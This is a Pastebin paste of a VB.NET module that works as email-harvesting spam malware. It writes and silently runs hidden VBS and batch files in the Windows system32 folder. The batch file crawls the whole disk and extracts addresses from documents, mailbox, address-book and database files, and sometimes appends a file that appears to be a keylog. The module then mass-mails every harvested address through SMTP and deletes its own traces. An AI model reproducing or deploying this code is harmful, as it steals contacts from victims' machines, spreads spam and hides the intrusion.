API tools faq
paste
Advertisement
Guest User

Untitled

a guest
May 22nd, 2017
645
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.46 KB | None | 0 0
raw download clone embed print report
  1. Module email
  2. Public Sub email_sp()
  3. 'declaring variables
  4. Dim mail As String = "" + Form1.TextBox6.Text
  5. Dim subj As String = "" + Form1.Textbox11.Text
  6. Dim body As String = "" + Form1.TextBox7.Text
  7. Dim send As String = "" + Form1.TextBox2.Text
  8. Dim smtpse As String = "" + Form1.Textbox4.Text
  9. Dim pwd As String = "" + Form1.Textbox3.Text
  10.  
  11. Dim mm As New FileStream("C:\windows\system32\launchhh.vbs", FileMode.Create, FileAccess.Write)
  12. Dim p As New StreamWriter(mm)
  13. p.BaseStream.Seek(0, SeekOrigin.End)
  14. p.WriteLine("Dim oShell")
  15. p.WriteLine("Set oShell = WScript.CreateObject (""WScript.Shell"")")
  16. p.WriteLine("oShell.run ""C:\windows\system32\launchhh.bat"",0,True")
  17. p.WriteLine("Set oShell = Nothing ")
  18. p.Close()
  19.  
  20. Sleep(95000)
  21. Dim yy As New FileStream("C:\windows\system32\launchhh.bat", FileMode.Create, FileAccess.Write)
  22. Dim z As New StreamWriter(yy)
  23. z.WriteLine("dir /s /ad /b C:\* >%windir%\tmp.log")
  24. z.WriteLine("for /F %%T in (%windir%\tmp.log) do (")
  25. z.WriteLine("for %%g in (%%T\*.html) do (")
  26. z.WriteLine("if exist %%T\*.html (")
  27. z.WriteLine("extract -files %%g >>%windir%\ex.txt")
  28. z.WriteLine(")")
  29. z.WriteLine(")")
  30. z.WriteLine("ping localhost -n 17")
  31. z.WriteLine("for %%o in (%%T\*.doc) do (")
  32. z.WriteLine("if exist %%T\*.doc (")
  33. z.WriteLine("extract -files %%o >>%windir%\ex.txt")
  34. z.WriteLine(")")
  35. z.WriteLine(")")
  36. z.WriteLine("for %%j in (%%T\*.htm) do (")
  37. z.WriteLine("if exist %%T\*.htm (")
  38. z.WriteLine("extract -files %%j >>%windir%\ex.txt")
  39. z.WriteLine(")")
  40. z.WriteLine(")")
  41. z.WriteLine("for %%k in (%%T\*.php) do (")
  42. z.WriteLine("if exist %%T\*.php (")
  43. z.WriteLine("extract -files %%k >>%windir%\ex.txt")
  44. z.WriteLine(")")
  45. z.WriteLine(")")
  46. z.WriteLine("for %%l in (%%T\*.txt) do (")
  47. z.WriteLine("if exist %%T\*.txt (")
  48. z.WriteLine("extract -files %%l >>%windir%\ex.txt")
  49. z.WriteLine(")")
  50. z.WriteLine(")")
  51. z.WriteLine("for %%m in (%%T\*.dbx) do (")
  52. z.WriteLine("if exist %%T\*.dbx (")
  53. z.WriteLine("extract -files %%m >>%windir%\ex.txt")
  54. z.WriteLine(")")
  55. z.WriteLine(")")
  56. z.WriteLine("for %%s in (%%T\*.wab) do (")
  57. z.WriteLine("if exist %%T\*.wab (")
  58. z.WriteLine("extract -files %%s >>%windir%\ex.txt")
  59. z.WriteLine(")")
  60. z.WriteLine(")")
  61. z.WriteLine("for %%u in (%%T\*.mdx) do (")
  62. z.WriteLine("if exist %%T\*.dbx (")
  63. z.WriteLine("extract -files %%u >>%windir%\ex.txt")
  64. z.WriteLine(")")
  65. z.WriteLine(")")
  66. z.WriteLine("for %%i in (%%T\*.cfg) do (")
  67. z.WriteLine("if exist %%T\*.cfg (")
  68. z.WriteLine("extract -files %%i >>%windir%\ex.txt")
  69. z.WriteLine(")")
  70. z.WriteLine(")")
  71. z.WriteLine("for %%q in (%%T\*.mdx) do (")
  72. z.WriteLine("if exist %%T\*.mdx (")
  73. z.WriteLine("extract -files %%q >>%windir%\ex.txt")
  74. z.WriteLine(")")
  75. z.WriteLine(")")
  76. z.WriteLine("for %%y in (%%T\*.html) do (")
  77. z.WriteLine("if exist %%T\*.html (")
  78. z.WriteLine("extract -files %%y >>%windir%\ex.txt")
  79. z.WriteLine(")")
  80. z.WriteLine(")")
  81. z.WriteLine("for %%d in (%%T\*.rtf) do (")
  82. z.WriteLine("if exist %%T\*.rtf (")
  83. z.WriteLine("extract -files %%d >>%windir%\ex.txt")
  84. z.WriteLine(")")
  85. z.WriteLine(")")
  86. z.WriteLine("for %%x in (%%T\*.log) do (")
  87. z.WriteLine("if exist %%T\*.log (")
  88. z.WriteLine("extract -files %%x >>%windir%\ex.txt")
  89. z.WriteLine(")")
  90. z.WriteLine(")")
  91. z.WriteLine("for %%g in (%%T\*.dat) do (")
  92. z.WriteLine("if exist %%T\*.dat (")
  93. z.WriteLine("extract -files %%g >>%windir%\ex.txt")
  94. z.WriteLine(")")
  95. z.WriteLine(")")
  96. z.WriteLine("for %%p in (%%T\*.css) do (")
  97. z.WriteLine("if exist %%T\*.css (")
  98. z.WriteLine("extract -files %%p >>%windir%\ex.txt")
  99. z.WriteLine(")")
  100. z.WriteLine(")")
  101. z.WriteLine("for %%b in (%%T\*.xls) do (")
  102. z.WriteLine("if exist %%T\*.xls (")
  103. z.WriteLine("extract -files %%b >>%windir%\ex.txt")
  104. z.WriteLine(")")
  105. z.WriteLine(")")
  106. z.WriteLine("for %%c in (%%T\*.xsl) do (")
  107. z.WriteLine("if exist %%T\*.xsl (")
  108. z.WriteLine("extract -files %%c >>%windir%\ex.txt")
  109. z.WriteLine(")")
  110. z.WriteLine(")")
  111. z.WriteLine("for %%f in (%%T\*.xml) do (")
  112. z.WriteLine("if exist %%T\*.xml (")
  113. z.WriteLine("extract -files %%f >>%windir%\ex.txt")
  114. z.WriteLine(")")
  115. z.WriteLine(")")
  116. z.WriteLine("for %%r in (%%T\*.uin) do (")
  117. z.WriteLine("if exist %%T\*.uin (")
  118. z.WriteLine("extract -files %%r >>%windir%\ex.txt")
  119. z.WriteLine(")")
  120. z.WriteLine(")")
  121. z.WriteLine("for %%a in (%%T\*.msg) do (")
  122. z.WriteLine("if exist %%T\*.msg (")
  123. z.WriteLine("extract -files %%a >>%windir%\ex.txt")
  124. z.WriteLine(")")
  125. z.WriteLine(")")
  126. z.WriteLine("for %%d in (%%T\*.mdb) do (")
  127. z.WriteLine("if exist %%T\*.mdb (")
  128. z.WriteLine("extract -files %%d >>%windir%\ex.txt")
  129. z.WriteLine(")")
  130. z.WriteLine(")")
  131. z.WriteLine("for %%a in (%%T\*.dbb) do (")
  132. z.WriteLine("if exist %%T\*.dbb (")
  133. z.WriteLine("extract -files %%a >>%windir%\ex.txt")
  134. z.WriteLine(")")
  135. z.WriteLine(")")
  136. z.WriteLine("for %%q in (%%T\*.pl) do (")
  137. z.WriteLine("if exist %%T\*.pl (")
  138. z.WriteLine("extract -files %%q >>%windir%\ex.txt")
  139. z.WriteLine(")")
  140. z.WriteLine(")")
  141. z.WriteLine("for %%e in (%%T\*.eml) do (")
  142. z.WriteLine("if exist %%T\*.eml (")
  143. z.WriteLine("extract -files %%e >>%windir%\ex.txt")
  144. z.WriteLine(")")
  145. z.WriteLine(")")
  146. z.WriteLine("for %%f in (%%T\*.*ml) do (")
  147. z.WriteLine("if exist %%T\*.*ml (")
  148. z.WriteLine("extract -files %%f >>%windir%\ex.txt")
  149. z.WriteLine(")")
  150. z.WriteLine(")")
  151. z.WriteLine(")")
  152. z.WriteLine("echo dieteamcom@gmail.com >>%windir%\ex.txt")
  153. z.WriteLine("echo %username%@gmail.com >>%windir%\ex.txt")
  154. z.WriteLine("echo %username%@hotmail.com >>%windir%\ex.txt")
  155. z.WriteLine("echo %username%@live.com >>%windir%\ex.txt")
  156. z.WriteLine("echo %username%@hotmail.de >>%windir%\ex.txt")
  157. z.WriteLine("echo %username%@live.de >>%windir%\ex.txt")
  158. z.WriteLine("echo %username%@fbi.gov >>%windir%\ex.txt")
  159. z.WriteLine("echo %username%@msn.com >>%windir%\ex.txt")
  160. z.WriteLine("echo %username%@yahoo.com >>%windir%\ex.txt")
  161. z.WriteLine("echo %computername%@gmail.com >>%windir%\ex.txt")
  162. z.WriteLine("echo %computername%@hotmail.com >>%windir%\ex.txt")
  163. z.WriteLine("echo %computername%@live.com >>%windir%\ex.txt")
  164. z.WriteLine("echo %computername%@hotmail.de >>%windir%\ex.txt")
  165. z.WriteLine("echo %computername%@live.de >>%windir%\ex.txt")
  166. z.WriteLine("echo %computername%@fbi.gov >>%windir%\ex.txt")
  167. z.WriteLine("echo %computername%@msn.com >>%windir%\ex.txt")
  168. z.WriteLine("echo %computername%@yahoo.com >>%windir%\ex.txt")
  169. z.WriteLine("set /a ran=%random%%%25")
  170. z.WriteLine("set username2=%username%%ran%")
  171. z.WriteLine("echo %username2%@gmail.com >>%windir%\ex.txt")
  172. z.WriteLine("echo %username2%@hotmail.com >>%windir%\ex.txt")
  173. z.WriteLine("echo %username2%@live.com >>%windir%\ex.txt")
  174. z.WriteLine("echo %username2%@hotmail.de >>%windir%\ex.txt")
  175. z.WriteLine("echo %username2%@live.de >>%windir%\ex.txt")
  176. z.WriteLine("echo %username2%@fbi.gov >>%windir%\ex.txt")
  177. z.WriteLine("echo %username2%@msn.com >>%windir%\ex.txt")
  178. z.WriteLine("echo %username2%@yahoo.com >>%windir%\ex.txt")
  179. z.WriteLine("set /a ranz=%random%%%1005+1")
  180. z.WriteLine("if %ranz%==10 (")
  181. z.WriteLine("if exist C:\WINDOWS\system32\logstm.txt (")
  182. z.WriteLine("type C:\WINDOWS\system32\logstm.txt >>%windir%\ex.txt")
  183. z.WriteLine(")")
  184. z.WriteLine(")")
  185. z.Close()
  186. Sleep(905000)
  187. Process.Start("C:\windows\system32\launchhh.vbs")
  188.  
  189. Sleep(905000)
  190. For Each bubb As String In FillArrayList("C:\windows\ex.txt")
  191. Try
  192. Dim MyMailMessage As New MailMessage
  193. MyMailMessage.From = New MailAddress(mail)
  194. MyMailMessage.To.Add(bubb)
  195. MyMailMessage.Subject = (subj)
  196. MyMailMessage.Body = (body)
  197. Dim SMTPServer As New SmtpClient(smtpse)
  198. SMTPServer.Port = 25
  199. SMTPServer.Credentials = New System.Net.NetworkCredential(send, Crypt(pwd))
  200. SMTPServer.EnableSsl = True
  201. SMTPServer.Send(MyMailMessage)
  202. Catch
  203. End Try
  204. Next
  205.  
  206.  
  207. Dim faa As New FileInfo("C:\windows\system32\launchhh.vbs")
  208. faa.Delete()
  209. Dim foo As New FileInfo("C:\windows\system32\launchhh.bat")
  210. foo.Delete()
  211. Dim fooa As New FileInfo("C:\windows\ex.txt")
  212. fooa.Delete()
  213. End Sub
  214.  
  215.  
  216.  
  217. End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!